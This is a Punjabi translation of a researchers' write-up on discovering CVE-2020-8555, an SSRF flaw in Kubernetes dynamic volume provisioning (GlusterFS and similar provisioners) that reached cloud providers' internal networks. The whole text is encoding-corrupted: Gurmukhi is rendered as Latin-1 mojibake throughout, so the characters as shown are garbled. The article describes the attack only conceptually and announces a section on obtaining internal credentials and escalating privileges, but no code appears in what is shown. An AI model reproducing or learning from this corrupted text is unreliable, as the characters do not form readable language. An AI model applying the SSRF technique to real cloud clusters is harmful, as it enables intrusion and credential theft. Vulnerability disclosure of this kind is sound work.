เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจจเฉ‹เจŸ เจ•เจฐเฉ‹เฅค เจ…เจจเฉเจตเจพเจฆ: เจ‡เจธ เจฒเฉ‡เจ– เจฆเฉ‡ เจฒเฉ‡เจ–เจ• เจ‡เจธ เจฌเจพเจฐเฉ‡ เจตเจฟเจธเจฅเจพเจฐ เจตเจฟเฉฑเจš เจ—เฉฑเจฒ เจ•เจฐเจฆเฉ‡ เจนเจจ เจ•เจฟ เจ‰เจนเจจเจพเจ‚ เจจเฉ‡ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจจเฉ‚เฉฐ เจ•เจฟเจตเฉ‡เจ‚ เจ–เฉ‹เจœเจฟเจ† CVE-2020โ€“8555 Kubernetes เจตเจฟเฉฑเจš. เจนเจพเจฒเจพเจ‚เจ•เจฟ เจธเจผเฉเจฐเฉ‚ เจตเจฟเฉฑเจš เจ‡เจน เจฌเจนเฉเจค เจ–เจผเจคเจฐเจจเจพเจ• เจจเจนเฉ€เจ‚ เจœเจพเจชเจฆเจพ เจธเฉ€, เจฆเฉ‚เจœเฉ‡ เจ•เจพเจฐเจ•เจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ เจ‡เจธเจฆเฉ€ เจจเจพเจœเจผเฉเจ•เจคเจพ เจ•เฉเจ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฒเจˆ เจตเฉฑเจง เจคเฉ‹เจ‚ เจตเฉฑเจง เจจเจฟเจ•เจฒเฉ€เฅค เจ•เจˆ เจธเฉฐเจธเจฅเจพเจตเจพเจ‚ เจจเฉ‡ เจ‰เจจเฉเจนเจพเจ‚ เจฆเฉ‡ เจ•เฉฐเจฎ เจฒเจˆ เจฎเจพเจนเจฟเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจ–เฉเฉฑเจฒเฉเจนเฉ‡ เจฆเจฟเจฒ เจจเจพเจฒ เจ‡เจจเจพเจฎ เจฆเจฟเฉฑเจคเฉ‡เฅค

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจ…เจธเฉ€เจ‚ เจ•เฉŒเจฃ เจนเจพเจ‚

เจ…เจธเฉ€เจ‚ เจฆเฉ‹ เจซเจฐเจพเจ‚เจธเฉ€เจธเฉ€ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ–เฉ‹เจœเจ•เจฐเจคเจพ เจนเจพเจ‚ เจœเจฟเจจเฉเจนเจพเจ‚ เจจเฉ‡ เจธเจพเจ‚เจเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจ–เฉ‹เจœ เจ•เฉ€เจคเฉ€ เจนเฉˆเฅค เจธเจพเจกเฉ‡ เจจเจพเจฎ เจฌเฉเจฐเจพเจˆเจธ เจ”เจ—เจฐเจพเจธ เจ…เจคเฉ‡ เจ•เฉเจฐเจฟเจธเจŸเฉ‹เจซ เจนเจพเจ‰เจ•เจฟเจ…เจฐเจŸ เจนเจจ, เจชเจฐ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจฌเฉฑเจ— เจฌเจพเจŠเจ‚เจŸเฉ€ เจชเจฒเฉ‡เจŸเจซเจพเจฐเจฎเจพเจ‚ 'เจคเฉ‡ เจธเจพเจจเฉ‚เฉฐ เจ•เฉเจฐเจฎเจตเจพเจฐ เจฐเฉ€เจตเจฐเจœเจผเฉˆเจ•เจธ เจ…เจคเฉ‡ เจนเฉˆเจš เจตเจœเฉ‹เจ‚ เจœเจพเจฃเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ:

เจ•เฉ€ เจนเฉ‹เจ‡เจ†?

เจ‡เจน เจฒเฉ‡เจ– เจธเจพเจ‚เจเจพ เจ•เจฐเจจ เจฆเจพ เจธเจพเจกเจพ เจคเจฐเฉ€เจ•เจพ เจนเฉˆ เจ•เจฟ เจ•เจฟเจตเฉ‡เจ‚ เจ‡เฉฑเจ• เจ†เจฎ เจ–เฉ‹เจœ เจชเฉเจฐเฉ‹เจœเฉˆเจ•เจŸ เจ…เจšเจพเจจเจ• เจฌเฉฑเจ— เจธเจผเจฟเจ•เจพเจฐเฉ€เจ†เจ‚ เจฆเฉ‡ เจœเฉ€เจตเจจ เจตเจฟเฉฑเจš เจธเจญ เจคเฉ‹เจ‚ เจฆเจฟเจฒเจšเจธเจช เจธเจพเจนเจธ เจตเจฟเฉฑเจš เจฌเจฆเจฒ เจ—เจฟเจ† (เจ˜เฉฑเจŸเฉ‹ เจ˜เฉฑเจŸ เจนเฉเจฃ เจฒเจˆ)เฅค

เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจธเจผเจพเจ‡เจฆ เจœเจพเจฃเจฆเฉ‡ เจนเฉ‹เจตเฉ‹เจ—เฉ‡, เจฌเฉฑเจ— เจธเจผเจฟเจ•เจพเจฐเฉ€เจ†เจ‚ เจฆเฉ€เจ†เจ‚ เจ•เฉเจ เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจจ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจนเจจ:

  • เจ‰เจน เจชเฉ€เจœเจผเจพ เจ…เจคเฉ‡ เจฌเฉ€เจ…เจฐ 'เจคเฉ‡ เจฐเจนเจฟเฉฐเจฆเฉ‡ เจนเจจ;
  • เจ‰เจน เจ•เฉฐเจฎ เจ•เจฐเจฆเฉ‡ เจนเจจ เจœเจฆเฉ‹เจ‚ เจนเจฐ เจ•เฉ‹เจˆ เจธเฉเฉฑเจคเฉ‡ เจนเฉเฉฐเจฆเจพ เจนเฉˆเฅค

เจ…เจธเฉ€เจ‚ เจ‡เจนเจจเจพเจ‚ เจจเจฟเจฏเจฎเจพเจ‚ เจคเฉ‹เจ‚ เจ•เฉ‹เจˆ เจ…เจชเจตเจพเจฆ เจจเจนเฉ€เจ‚ เจนเจพเจ‚: เจ…เจธเฉ€เจ‚ เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡ เจธเจผเจจเฉ€เจตเจพเจฐ-เจเจคเจตเจพเจฐ เจจเฉ‚เฉฐ เจฎเจฟเจฒเจฆเฉ‡ เจนเจพเจ‚ เจ…เจคเฉ‡ เจนเฉˆเจ•เจฟเฉฐเจ— เจฒเจˆ เจจเฉ€เจ‚เจฆ เจฆเฉ€เจ†เจ‚ เจฐเจพเจคเจพเจ‚ เจฌเจฟเจคเจพเจ‰เจ‚เจฆเฉ‡ เจนเจพเจ‚เฅค เจชเจฐ เจ‡เจนเจจเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจ‡เฉฑเจ• เจฐเจพเจค เจฌเจนเฉเจค เจนเฉ€ เจ…เจธเจพเจงเจพเจฐเจจ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจ–เจคเจฎ เจนเฉ‹เจˆเฅค

เจธเจผเฉเจฐเฉ‚ เจตเจฟเจš เจ…เจธเฉ€เจ‚ เจตเจฟเจš เจนเจฟเฉฑเจธเจพ เจฒเฉˆเจฃ เจฌเจพเจฐเฉ‡ เจšเจฐเจšเจพ เจ•เจฐเจจ เจฒเจˆ เจฎเจฟเจฒเจฃ เจœเจพ เจฐเจนเฉ‡ เจธเฉ€ เจธเฉ€เจŸเฉ€เจเจซ เจ…เจ—เจฒเฉ‡ เจฆเจฟเจจ. เจ‡เฉฑเจ• เจชเฉเจฐเจฌเฉฐเจงเจฟเจค เจธเฉ‡เจตเจพ เจตเจพเจคเจพเจตเจฐเจฃ เจตเจฟเฉฑเจš เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฌเจพเจฐเฉ‡ เจ‡เฉฑเจ• เจ—เฉฑเจฒเจฌเจพเจค เจฆเฉŒเจฐเจพเจจ, เจธเจพเจจเฉ‚เฉฐ SSRF เจฆเจพ เจชเฉเจฐเจพเจฃเจพ เจตเจฟเจšเจพเจฐ เจฏเจพเจฆ เจ†เจ‡เจ† (เจธเจฐเจตเจฐ-เจธเจพเจˆเจก เจฌเฉ‡เจจเจคเฉ€ เจœเจพเจ…เจฒเจธเจพเจœเจผเฉ€) เจ…เจคเฉ‡ เจ‡เจธเจจเฉ‚เฉฐ เจ…เจŸเฉˆเจ• เจธเจ•เฉเจฐเจฟเจชเจŸ เจตเจœเฉ‹เจ‚ เจตเจฐเจคเจฃ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เจฐเจจ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพเฅค

11 เจตเจœเฉ‡ เจ…เจธเฉ€เจ‚ เจ†เจชเจฃเฉ€ เจ–เฉ‹เจœ เจ•เจฐเจจ เจฒเจˆ เจฌเฉˆเจ  เจ—เจ เจ…เจคเฉ‡ เจจเจคเฉ€เจœเจฟเจ†เจ‚ เจคเฉ‹เจ‚ เจฌเจนเฉเจค เจธเฉฐเจคเฉเจธเจผเจŸ, เจธเจตเฉ‡เจฐเฉ‡ เจœเจฒเจฆเฉ€ เจธเฉŒเจฃ เจฒเจˆ เจšเจฒเฉ‡ เจ—เจเฅค เจ‡เจน เจ‡เจธ เจ–เฉ‹เจœ เจฆเฉ‡ เจ•เจพเจฐเจจ เจธเฉ€ เจ•เจฟ เจ…เจธเฉ€เจ‚ MSRC เจฌเฉฑเจ— เจฌเจพเจ‰เจ‚เจŸเฉ€ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎ เจตเจฟเฉฑเจš เจ†เจ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เจงเจฟเจ•เจพเจฐ เจตเจงเจพเจ‰เจฃ เจฆเฉ‡ เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ†เจเฅค

เจ•เจˆ เจนเจซเจผเจคเฉ‡/เจฎเจนเฉ€เจจเฉ‡ เจฌเฉ€เจค เจ—เจ, เจ…เจคเฉ‡ เจธเจพเจกเฉ‡ เจ…เจฃเจ•เจฟเจ†เจธเฉ‡ เจจเจคเฉ€เจœเฉ‡ เจฆเฉ‡ เจจเจคเฉ€เจœเฉ‡ เจตเจœเฉ‹เจ‚ Azure เจ•เจฒเจพเจ‰เจก เจฌเฉฑเจ— เจฌเจพเจ‰เจ‚เจŸเฉ€ เจฆเฉ‡ เจ‡เจคเจฟเจนเจพเจธ เจตเจฟเฉฑเจš เจธเจญ เจคเฉ‹เจ‚ เจ‰เฉฑเจšเฉ‡ เจ‡เจจเจพเจฎเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจ‡เฉฑเจ• - เจธเจพเจจเฉ‚เฉฐ Kubernetes เจคเฉ‹เจ‚ เจชเฉเจฐเจพเจชเจค เจนเฉ‹เจ เจ‡เจจเจพเจฎเจพเจ‚ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ!

เจธเจพเจกเฉ‡ เจ–เฉ‹เจœ เจชเฉเจฐเฉ‹เจœเฉˆเจ•เจŸ เจฆเฉ‡ เจ†เจงเจพเจฐ 'เจคเฉ‡, เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ‰เจคเจชเจพเจฆ เจธเฉเจฐเฉฑเจ–เจฟเจ† เจ•เจฎเฉ‡เจŸเฉ€ เจจเฉ‡ เจชเฉเจฐเจ•เจพเจธเจผเจฟเจค เจ•เฉ€เจคเจพ CVE-2020โ€“8555.

เจนเฉเจฃ เจฎเฉˆเจ‚ เจฒเฉฑเจญเฉ€ เจ—เจˆ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฌเจพเจฐเฉ‡ เจœเจพเจฃเจ•เจพเจฐเฉ€ เจจเฉ‚เฉฐ เจœเจฟเฉฐเจจเจพ เจธเฉฐเจญเจต เจนเฉ‹ เจธเจ•เฉ‡ เจซเฉˆเจฒเจพเจ‰เจฃเจพ เจšเจพเจนเจพเจ‚เจ—เจพเฅค เจ…เจธเฉ€เจ‚ เจ‰เจฎเฉ€เจฆ เจ•เจฐเจฆเฉ‡ เจนเจพเจ‚ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจ–เฉ‹เจœ เจฆเฉ€ เจธเจผเจฒเจพเจ˜เจพ เจ•เจฐเฉ‹เจ—เฉ‡ เจ…เจคเฉ‡ เจคเจ•เจจเฉ€เจ•เฉ€ เจตเฉ‡เจฐเจตเจฟเจ†เจ‚ เจจเฉ‚เฉฐ infosec เจญเจพเจˆเจšเจพเจฐเฉ‡ เจฆเฉ‡ เจนเฉ‹เจฐ เจฎเฉˆเจ‚เจฌเจฐเจพเจ‚ เจจเจพเจฒ เจธเจพเจ‚เจเจพ เจ•เจฐเฉ‹เจ—เฉ‡!

เจ‡เจธ เจฒเจˆ เจ‡เฉฑเจฅเฉ‡ เจธเจพเจกเฉ€ เจ•เจนเจพเจฃเฉ€ เจนเฉˆ ...

เจชเฉเจฐเจธเฉฐเจ—

เจ•เฉ€ เจนเฉ‹เจ‡เจ† เจ‡เจธ เจฆเจพ เจธเจญ เจคเฉ‹เจ‚ เจตเฉฑเจง เจ…เจฐเจฅ เจฌเจฃเจพเจ‰เจฃ เจฒเจˆ, เจ†เจ“ เจชเจนเจฟเจฒเจพเจ‚ เจฆเฉ‡เจ–เฉ€เจ เจ•เจฟ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ‡เฉฑเจ• เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฌเฉฐเจงเจฟเจค เจตเจพเจคเจพเจตเจฐเจฃ เจตเจฟเฉฑเจš เจ•เจฟเจตเฉ‡เจ‚ เจ•เฉฐเจฎ เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจœเจฆเฉ‹เจ‚ เจคเฉเจธเฉ€เจ‚ เจ…เจœเจฟเจนเฉ‡ เจตเจพเจคเจพเจตเจฐเจฃ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• Kubernetes เจ•เจฒเฉฑเจธเจŸเจฐ เจจเฉ‚เฉฐ เจšเจพเจฒเฉ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹, เจคเจพเจ‚ เจชเฉเจฐเจฌเฉฐเจงเจจ เจชเจฐเจค เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ€ เจœเจผเจฟเฉฐเจฎเฉ‡เจตเจพเจฐเฉ€ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ:

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...
เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจชเจฐเจค เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ‡ เจ˜เฉ‡เจฐเฉ‡ 'เจคเฉ‡ เจธเจฅเจฟเจค เจนเฉˆ, เจœเจฆเฉ‹เจ‚ เจ•เจฟ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจจเฉ‹เจก เจ—เจพเจนเจ• เจฆเฉ‡ เจ˜เฉ‡เจฐเฉ‡ 'เจคเฉ‡ เจธเจฅเจฟเจค เจนเจจ

เจกเจพเจ‡เจจเจพเจฎเจฟเจ• เจคเฉŒเจฐ 'เจคเฉ‡ เจตเจพเจฒเฉ€เจ…เจฎ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจจ เจฒเจˆ, เจ‡เฉฑเจ• เจตเจฟเจงเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจฌเจพเจนเจฐเฉ€ เจธเจŸเฉ‹เจฐเฉ‡เจœ เจฌเฉˆเจ•เจเจ‚เจก เจคเฉ‹เจ‚ เจ—เจคเฉ€เจธเจผเฉ€เจฒ เจคเฉŒเจฐ 'เจคเฉ‡ เจชเฉเจฐเจฌเฉฐเจง เจ•เจฐเจจ เจฒเจˆ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจ‰เจนเจจเจพเจ‚ เจฆเฉ€ เจชเฉ€เจตเฉ€เจธเฉ€ (เจธเจฅเจพเจˆ เจตเจพเจฒเฉ€เจ…เจฎ เจฆเจพ เจฆเจพเจ…เจตเจพ, เจญเจพเจต เจ‡เฉฑเจ• เจตเจพเจฒเฉ€เจ…เจฎ เจฒเจˆ เจฌเฉ‡เจจเจคเฉ€) เจจเจพเจฒ เจคเฉเจฒเจจเจพ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆเฅค

เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚, K8s เจ•เจฒเฉฑเจธเจŸเจฐ เจตเจฟเฉฑเจš PVC เจฆเฉ‡ เจฌเจฃเจพเจ เจœเจพเจฃ เจ…เจคเฉ‡ เจธเจŸเฉ‹เจฐเฉ‡เจœ เจ•เจฒเจพเจธ เจจเจพเจฒ เจฌเฉฐเจจเฉเจนเฉ‡ เจœเจพเจฃ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ, เจตเจพเจฒเฉ€เจ…เจฎ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจจ เจฒเจˆ เจนเฉ‹เจฐ เจ•เจพเจฐเจตเจพเจˆเจ†เจ‚ เจ•เจฟเจŠเจฌ/เจ•เจฒเจพเจŠเจก เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ เจฎเฉˆเจจเฉ‡เจœเจฐ เจฆเฉเจ†เจฐเจพ เจธเฉฐเจญเจพเจฒเฉ€เจ†เจ‚ เจœเจพเจ‚เจฆเฉ€เจ†เจ‚ เจนเจจ (เจ‡เจธเจฆเจพ เจธเจนเฉ€ เจจเจพเจฎ เจฐเฉ€เจฒเฉ€เจœเจผ 'เจคเฉ‡ เจจเจฟเจฐเจญเจฐ เจ•เจฐเจฆเจพ เจนเฉˆ)เฅค (เจจเฉ‹เจŸ เจ•เจฐเฉ‹เฅค เจ…เจจเฉเจตเจพเจฆ: เจ…เจธเฉ€เจ‚ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจ‡เฉฑเจ• เจฒเจˆ เจ‡เจธเจฆเฉ‡ เจฒเจพเจ—เฉ‚ เจ•เจฐเจจ เจฆเฉ€ เจ‰เจฆเจพเจนเจฐเจฃ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจชเจนเจฟเจฒเจพเจ‚ เจนเฉ€ CCM เจฌเจพเจฐเฉ‡ เจนเฉ‹เจฐ เจฒเจฟเจ–เจฟเจ† เจนเฉˆ เจ‡เฉฑเจฅเฉ‡.)

เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉเจ†เจฐเจพ เจธเจฎเจฐเจฅเจฟเจค เจ•เจˆ เจชเฉเจฐเจ•เจพเจฐ เจฆเฉ‡ เจชเฉเจฐเฉ‹เจตเฉ€เจœเจผเจจเจฐ เจนเจจ: เจ‰เจนเจจเจพเจ‚ เจตเจฟเฉฑเจšเฉ‹เจ‚ เจœเจผเจฟเจ†เจฆเจพเจคเจฐ เจ‡เจธ เจตเจฟเฉฑเจš เจธเจผเจพเจฎเจฒ เจนเจจ เจ†เจฐเจ•เฉˆเจธเจŸเฉเจฐเฉ‡เจŸเจฐ เจ•เฉ‹เจฐ, เจœเจฆเฉ‹เจ‚ เจ•เจฟ เจนเฉ‹เจฐเจพเจ‚ เจฆเจพ เจชเฉเจฐเจฌเฉฐเจงเจจ เจตเจพเจงเฉ‚ เจชเฉเจฐเฉ‹เจตเฉ€เจœเจผเจจเจฐเจพเจ‚ เจฆเฉเจ†เจฐเจพ เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ เจœเฉ‹ เจ•เจฟ เจ•เจฒเฉฑเจธเจŸเจฐ เจตเจฟเฉฑเจš เจชเฉŒเจกเจพเจ‚ เจตเจฟเฉฑเจš เจฐเฉฑเจ–เฉ‡ เจœเจพเจ‚เจฆเฉ‡ เจนเจจเฅค

เจธเจพเจกเฉ€ เจ–เฉ‹เจœ เจตเจฟเฉฑเจš, เจ…เจธเฉ€เจ‚ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจตเจพเจฒเฉ€เจ…เจฎ เจชเฉเจฐเฉ‹เจตเจฟเจœเจผเจจเจฟเฉฐเจ— เจตเจฟเจงเฉ€ 'เจคเฉ‡ เจงเจฟเจ†เจจ เจ•เฉ‡เจ‚เจฆเจฐเจฟเจค เจ•เฉ€เจคเจพ, เจœเฉ‹ เจ•เจฟ เจนเฉ‡เจ เจพเจ‚ เจฆเจฐเจธเจพเจ‡เจ† เจ—เจฟเจ† เจนเฉˆ:

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...
เจฌเจฟเจฒเจŸ-เจ‡เจจ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจชเฉเจฐเฉ‹เจตเฉ€เจœเจผเจจเจฐ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจ เจตเจพเจฒเฉ€เจ…เจฎเจพเจ‚ เจฆเฉ€ เจ—เจคเฉ€เจธเจผเฉ€เจฒ เจตเจฟเจตเจธเจฅเจพ

เจธเฉฐเจ–เฉ‡เจช เจตเจฟเฉฑเจš, เจœเจฆเฉ‹เจ‚ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจชเฉเจฐเจฌเฉฐเจงเจฟเจค เจตเจพเจคเจพเจตเจฐเจฃ เจตเจฟเฉฑเจš เจคเฉˆเจจเจพเจค เจ•เฉ€เจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ, เจคเจพเจ‚ เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ เจฎเฉˆเจจเฉ‡เจœเจฐ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ€ เจœเจผเจฟเฉฐเจฎเฉ‡เจตเจพเจฐเฉ€ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ, เจชเจฐ เจตเจพเจฒเฉ€เจ…เจฎ เจฌเจฃเจพเจ‰เจฃ เจฆเฉ€ เจฌเฉ‡เจจเจคเฉ€ (เจ‰เจชเจฐเฉ‹เจ•เจค เจšเจฟเฉฑเจคเจฐ เจตเจฟเฉฑเจš เจจเฉฐเจฌเจฐ 3) เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ‡ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจจเฉˆเจŸเจตเจฐเจ• เจจเฉ‚เฉฐ เจ›เฉฑเจก เจฆเจฟเฉฐเจฆเฉ€ เจนเฉˆเฅค เจ…เจคเฉ‡ เจ‡เจน เจ‰เจน เจฅเจพเจ‚ เจนเฉˆ เจœเจฟเฉฑเจฅเฉ‡ เจšเฉ€เจœเจผเจพเจ‚ เจ…เจธเจฒ เจตเจฟเฉฑเจš เจฆเจฟเจฒเจšเจธเจช เจนเฉเฉฐเจฆเฉ€เจ†เจ‚ เจนเจจ!

เจนเฉˆเจ•เจฟเฉฐเจ— เจฆเฉเจฐเจฟเจธเจผ

เจ‡เจธ เจญเจพเจ— เจตเจฟเฉฑเจš, เจ…เจธเฉ€เจ‚ เจฆเฉฑเจธเจพเจ‚เจ—เฉ‡ เจ•เจฟ เจ…เจธเฉ€เจ‚ เจ‰เฉฑเจชเจฐ เจฆเฉฑเจธเฉ‡ เจ—เจ เจตเจฐเจ•เจซเจฒเฉ‹ เจฆเจพ เจฒเจพเจญ เจ•เจฟเจตเฉ‡เจ‚ เจฒเจฟเจ† เจ…เจคเฉ‡ เจ•เจฒเจพเจ‰เจก เจธเฉ‡เจตเจพ เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ‡ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจธเจฐเฉ‹เจคเจพเจ‚ เจคเฉฑเจ• เจชเจนเฉเฉฐเจš เจ•เฉ€เจคเฉ€เฅค เจ‡เจน เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‡เจน เจตเฉ€ เจฆเจฟเจ–เจพเจเจ—เจพ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจ•เฉเจ เจ•เจฟเจฐเจฟเจ†เจตเจพเจ‚ เจ•เจฟเจตเฉ‡เจ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹, เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ เจœเจพเจ‚ เจตเจฟเจธเจผเฉ‡เจธเจผ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจตเจงเจพเจ‰เจฃเจพเฅค

เจ‡เฉฑเจ• เจธเจงเจพเจฐเจจ เจนเฉ‡เจฐเจพเจซเฉ‡เจฐเฉ€ (เจ‡เจธ เจ•เฉ‡เจธ เจตเจฟเฉฑเจš, เจธเจฐเจตเจฟเจธ เจธเจพเจˆเจก เจฌเฉ‡เจจเจคเฉ€ เจœเจพเจ…เจฒเจธเจพเจœเจผเฉ€) เจจเฉ‡ เจชเฉเจฐเจฌเฉฐเจงเจจ เจ•เฉ€เจคเฉ‡ K8s เจ…เจงเฉ€เจจ เจตเฉฑเจ–-เจตเฉฑเจ– เจธเฉ‡เจตเจพ เจชเฉเจฐเจฆเจพเจคเจพเจตเจพเจ‚ เจฆเฉ‡ เจ•เจฒเฉฑเจธเจŸเจฐเจพเจ‚ เจตเจฟเฉฑเจš เจ•เจฒเจพเจ‡เฉฐเจŸ เจตเจพเจคเจพเจตเจฐเจจ เจคเฉ‹เจ‚ เจชเจฐเฉ‡ เจœเจพเจฃ เจตเจฟเฉฑเจš เจฎเจฆเจฆ เจ•เฉ€เจคเฉ€เฅค

เจธเจพเจกเฉ€ เจ–เฉ‹เจœ เจตเจฟเฉฑเจš เจ…เจธเฉ€เจ‚ GlusterFS เจชเฉเจฐเฉ‹เจตเฉ€เจœเจผเจจเจฐ 'เจคเฉ‡ เจงเจฟเจ†เจจ เจ•เฉ‡เจ‚เจฆเจฐเจฟเจค เจ•เฉ€เจคเจพเฅค เจ‡เจธ เจคเฉฑเจฅ เจฆเฉ‡ เจฌเจพเจตเจœเฉ‚เจฆ เจ•เจฟ เจ‡เจธ เจธเฉฐเจฆเจฐเจญ เจตเจฟเฉฑเจš เจ•เจพเจฐเจตเจพเจˆเจ†เจ‚ เจฆเฉ‡ เจ…เจ—เจฒเฉ‡ เจ•เฉเจฐเจฎ เจฆเจพ เจตเจฐเจฃเจจ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ, Quobyte, StorageOS เจ…เจคเฉ‡ ScaleIO เจธเจฎเจพเจจ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฒเจˆ เจธเฉฐเจตเฉ‡เจฆเจจเจธเจผเฉ€เจฒ เจนเจจเฅค

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...
เจกเจพเจ‡เจจเจพเจฎเจฟเจ• เจตเจพเจฒเฉ€เจ…เจฎ เจชเฉเจฐเฉ‹เจตเฉ€เจœเจผเจจเจฟเฉฐเจ— เจตเจฟเจงเฉ€ เจฆเฉ€ เจฆเฉเจฐเจตเจฐเจคเฉ‹เจ‚

